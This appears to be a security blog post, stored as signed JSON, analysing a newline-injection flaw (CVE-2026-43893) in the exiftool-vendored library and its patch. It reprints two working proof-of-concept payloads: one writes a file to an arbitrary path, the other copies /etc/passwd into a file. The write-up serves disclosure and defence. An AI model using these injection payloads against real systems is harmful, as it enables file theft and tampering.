-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The protocol is `-stay_open True -@ -`\n\nExifTool, the Perl program by Phil Harvey, is slow to start. Reading any single image costs about a second of Perl interpreter warm-up before the first byte of metadata gets parsed. The `-stay_open True -@ -` flag set was added to ExifTool to amortise that cost: the binary stays resident, reads new arguments from a file (`-`, meaning stdin), and runs each batch when it sees a line containing `-execute`. The exiftool man page describes the format in two sentences: arguments are entered one per line, and the reader treats every newline as the boundary between one argument and the next. There is no escape mechanism in the protocol. The man page does not name one.\n\n`exiftool-vendored` is the official Node-side wrapper that runs an ExifTool child in exactly this mode. It is downloaded roughly 800,000 times per week from npm. Every read, write, and binary-extraction call the caller makes is serialised through `ExifToolTask.renderCommand`:\n\n```typescript\nreturn result.join(\"\\n\") + \"\\n\";\n```\n\n`result` is the list of arguments the task built. The renderer joins them with `\\n`, appends a trailing `\\n` so ExifTool's reader can complete the final line, and hands the buffer to `batch-cluster` for transmission. The argument separator and the argument data share the same wire.\n\n## The loop encoded the values. It did not encode the keys.\n\nHere is the relevant fragment of `WriteTask.create` before the v35.19.0 patch:\n\n```typescript\nfor (const key of keys(tags)) {\n const val = tags[key];\n fieldsToSet.push(`-${key}=${enc(val)}`);\n}\n```\n\n`tags` is the `WriteTags` object the caller hands to `exiftool.write(file, tags)`. Each `-${key}=${enc(val)}` becomes one ExifTool argument the loop pushes onto the args array. The keys go in unmodified. The values are run through `enc()`.\n\nFor strings, `enc()` is `htmlEncode()`. It sits in the same file:\n\n```typescript\nexport function htmlEncode(s: string): string {\n return (\n encode(s, { decimal: true, allowUnsafeSymbols: true })\n // `he` doesn't encode whitespaces (like newlines), but we need that:\n .replace(/\\s/g, (m) => (m === \" \" ? \" \" : `&#${m.charCodeAt(0)};`))\n );\n}\n```\n\nThe first call into the `he` library produces a normal HTML-entity-encoded string. The author then catches the case `he` does not handle: every whitespace character that is not a literal space gets rewritten to its `&#NN;` numeric entity. The two-line inline comment names the reason: the buffer those values are packed into is read by a parser that separates arguments by newlines, and `he` does not encode newlines, so the library has to.\n\nThat is the author writing down their threat model. The value side of the loop runs through a function whose explicit purpose is to neutralise newlines before they reach stdin. The key side of the loop does not run through anything. The key is whatever string the caller put in their `tags` object literal. The TypeScript declaration `WriteTags` narrows the keys at the call site to a finite list of tag names; at runtime, that narrowing is documentation, and the object's keys are the strings the caller wrote.\n\nThe v35.19.0 release notes name both halves of the asymmetry: \"Tag values passed to `write()` were already whitespace-encoded and were not vulnerable.\" The vendor's advisory acknowledges, in writing, that the encode was deliberate on the value side and absent on the key side.\n\n## The PoC is two object literals\n\nDobby153 published `Dobby153/CVE-2026-43893` on 4 May 2026, nine days after the v35.19.0 release. The exploit is two files of six lines each. Here is `poc1.js`:\n\n```javascript\nimport { exiftool } from \"exiftool-vendored\";\n\nconst tags1 = {\"XMP-dc:Title\\n-o\\n../exploit\\n-XMP-dc:Title\": \"HELLOWORLD\"};\n\nawait exiftool.write(\"input.jpg\", tags1);\nawait exiftool.end();\n```\n\nThe library's loop builds the argument `-XMP-dc:Title\\n-o\\n../exploit\\n-XMP-dc:Title=HELLOWORLD`. `renderCommand` joins this argument with the task's charset and option arguments using `\\n` and writes the buffer to stdin. What ExifTool reads, one line at a time, is:\n\n```\n-XMP-dc:Title\n-o\n../exploit\n-XMP-dc:Title=HELLOWORLD\n```\n\n`-o ../exploit` is ExifTool's \"write output to this file\" flag with the path the caller chose. `-XMP-dc:Title=HELLOWORLD` is the assignment the caller intended. The file write lands at `../exploit`, a path under the ExifTool process's working directory that the caller never named in any argument the JavaScript API understands as a path.\n\n`poc2.js` exercises the read primitive:\n\n```javascript\nconst tags2 = {\"execute\\n-p\\n/etc/passwd\\n-w!\\nleak.txt\\ninput.jpg\\n-execute\\n-Comment\": \"HELLOWORLD\"};\n```\n\nThe expansion lands these lines into stdin:\n\n```\n-execute\n-p\n/etc/passwd\n-w!\nleak.txt\ninput.jpg\n-execute\n-Comment=HELLOWORLD\n```\n\nThe first `-execute` flushes whatever batch was pending. The next four lines are a complete second batch. `-p FMTFILE` tells ExifTool to use `FMTFILE` as a print-format template; ExifTool reads the file from disk and substitutes `$tag` references, so plain text without `$tag` patterns passes through verbatim. `-w! leak.txt` writes ExifTool's output to `leak.txt`, overwriting any existing file. `input.jpg` is the source for tag substitution. The second `-execute` flushes that batch. `leak.txt` is now the contents of `/etc/passwd`, written by the ExifTool process to whatever directory it was running in.\n\nIn both PoCs the injection vector is the key. The value, in each case, is the harmless string `\"HELLOWORLD\"`. The encode ran on the wrong half of the loop.\n\n## NOTE TO FUTURE ME\n\n`BinaryToBufferTask.ts` was added to the codebase on 6 July 2021 in commit `1c7fa0d`. The first version of its `for` static method contained this comment:\n\n```typescript\nstatic for(tagname: string, imgSrc: string): BinaryToBufferTask {\n // NOTE TO FUTURE ME: we don't need to escape these arguments, because\n // ExifTool separates them via newlines.\n const args = [\"-json\", \"-b\", \"-\" + tagname, resolve(imgSrc)];\n return new BinaryToBufferTask(tagname, args);\n}\n```\n\nThe comment is correct about the protocol. ExifTool does separate arguments by newlines. The comment's load-bearing assumption is what `tagname` cannot contain. The comment does not state the assumption, because the author was writing to themselves, and they did not need to state it. They knew. The future-me reading the comment is told that the protocol separates by newlines and therefore escaping is unnecessary; the future-me is not told that the conclusion is contingent on the input never containing the separator.\n\nThe 24 April 2026 patch removes the comment and replaces it with a single line, `validateTagName(tagname);`. The comment had been in the file for four years and nine months. The same author wrote both edits.\n\n`WriteTask.ts` never carried the analogous comment. The mental model was the same. The encode on the value side of its interpolation loop is the only artifact in the code of the author having ever thought about newlines reaching stdin.\n\n## The patch has two layers because the architecture had zero\n\nThe v35.19.0 fix is split across two defences. The first is `validateTagName`, a new module that rejects any tag name outside the grammar `[A-Za-z0-9_:*?+#\\-]+`. It is applied at five call sites: write tag keys, `deleteAllTags({retain})`, `read({numericTags})`, binary extraction tag names, and the binary-to-buffer task. The second defence is in `ExifToolTask.renderCommand` itself, on the path every argument passes through on its way to stdin:\n\n```typescript\nfor (const a of result) {\n if (/[\\r\\n\\0]/.test(a)) {\n throw new Error(\n \"Internal error: argument contains control character: \" +\n JSON.stringify(a),\n );\n }\n}\n```\n\nThe new comment above the loop names the relationship: \"Per-site validators (see TagNameValidation) should prevent this upstream; this assertion catches regressions from any new interpolation site that forgets to validate.\" The renderer is the chokepoint. The per-site validators are the upstream defences. The patch acknowledges, in its own commit message, that the per-site approach is what failed for five years: every author who added a new interpolation site between 2021 and 2026 had the freedom to forget. None of them remembered.\n\nThe renderer-level check would have been a one-line addition to the same function that was already joining arguments with `\\n`. The renderer was written in 2021 and joined arguments with `\\n` for the next four and a half years above five interpolation sites that accumulated above it.\n\n## The shell was not the sink, again\n\nThe shape of CVE-2026-43893 is one the catalog has seen before, twice over. It is Content Is Command at the smallest scope a wrapper library can stage the pattern: the content channel is the key of an object literal the caller wrote in their JavaScript source, the interpreter is a Perl child reading from stdin, and the bridge is one missing function call in one loop. It is also The Shell Was Not The Sink stated inside that loop. In Cacti, `cacti_escapeshellarg` quote-wraps user input correctly for the POSIX shell, and the value is then handed to `proc_open` which pipes it directly into rrdtool's batch parser without ever invoking `/bin/sh`. The wrap is for one interpreter; the destination is another. The 1.2.29 fix was to strip `\\n` and `\\r` from `cacti_escapeshellarg`, preserving the function's name and routing the actual newline neutralisation through it. The Tandoor case, [bleach is an HTML sanitiser. Jinja2 does not read HTML.](/posts/tandoor-recipes-bleach-is-not-a-jinja-sandbox), is the same shape with `bleach` placed in front of a template engine. exiftool-vendored is the same shape with `htmlEncode` in front of ExifTool's stdin reader on the value side, and nothing in front of it on the key side.\n\n`htmlEncode` is for the HTML/XML interpreter the `he` library was written to target. ExifTool's `-stay_open True -@ -` reader is a different parser. The ` ` substitution that prevents a `\\n` from terminating an HTML attribute value is a valid encoding ExifTool reads as the four bytes ` ` rather than as a newline. On the value side, that is exactly what is wanted. On the key side, the author never reached for `htmlEncode` because tag names felt like identifiers, and the half of the loop that takes caller-supplied identifiers travelled to stdin raw.\n\nJavaScript has no syntactic mechanism that prevents a caller from putting a newline in an object literal's key. TypeScript's interface declarations narrow types at the call site; they do not constrain what runtime keys exist on an object. Every Node library that takes a `Record` from a caller takes an attacker-controllable string per key. Every library that interpolates that key into a downstream interpreter has the choice of whether to validate. In the absence of validation, the key is whatever the caller wrote.\n\nPoC: [Dobby153/CVE-2026-43893](https://github.com/Dobby153/CVE-2026-43893)","closing_line":"The encoder ran on one half of the loop because newlines were dangerous. The keys travelled the same wire.","hook_md":"`exiftool-vendored` runs ExifTool in `-stay_open True -@ -` mode. The protocol reads arguments from the child process's stdin one line at a time and treats `-execute` as the batch terminator. The library serialises arguments by joining them with `\\n` and writing the buffer to the pipe. CVE-2026-43893, CVSS 8.2, fixed in v35.19.0 on 25 April 2026, is what happens when one of those arguments is a string the caller put as a key in an object literal. The library's `WriteTask` loop encodes every value through a function called `htmlEncode`, whose inline comment names the reason: it rewrites `\\n` as ` ` because the underlying HTML library does not, and the buffer those values land in is read by a parser that separates arguments by newlines. The same loop does not run that function on the keys. The keys travel to ExifTool's stdin verbatim, separated from their values by `=` and from their neighbours by `\\n`.","post_id":334,"slug":"exiftool-vendored-cve-2026-43893-keys-were-raw","title":"CVE-2026-43893: exiftool-vendored Encoded Newlines in Tag Values. Tag-Name Keys Were Raw.","type":"initial","unreadable_sentence":"htmlEncode was the author writing down the threat model. It ran on the value side of the loop. The key side did not run through anything."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCai2c/wAKCRDeZjl4jgkQ JiDqAQDhLJjw2M/uz7cMMXXrl9UfqmKXgp4LoZIkCNuLWhZh/gD8CY6d3RaRl3Ds VO0gKFdiPzcDtlBj2HOcu8jWtsQ3ww8= =QzjD -----END PGP SIGNATURE-----